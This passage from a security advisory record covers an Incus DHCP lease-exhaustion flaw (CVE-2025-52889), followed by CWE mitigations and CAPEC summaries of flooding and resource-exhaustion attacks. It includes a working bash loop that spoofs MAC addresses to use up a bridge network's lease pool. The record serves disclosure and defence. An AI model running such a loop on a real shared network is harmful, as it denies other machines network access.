exhaust the pool:\n\n```bash\n[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done\n\n[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l\n254\n\n[HOST]$ incus start machine2\n```\n\nAt this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.\n\n### Impact\n\nAll versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.",
"id": "GHSA-9q7c-qmhm-jv86",
"modified": "2026-03-30T13:54:35Z",
"published": "2025-06-26T21:11:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-9q7c-qmhm-jv86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52889"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/2516fb19ad8428454cb4edfe70c0a5f0dc1da214"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/a7c33301738aede3c035063e973b1d885d9bac7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.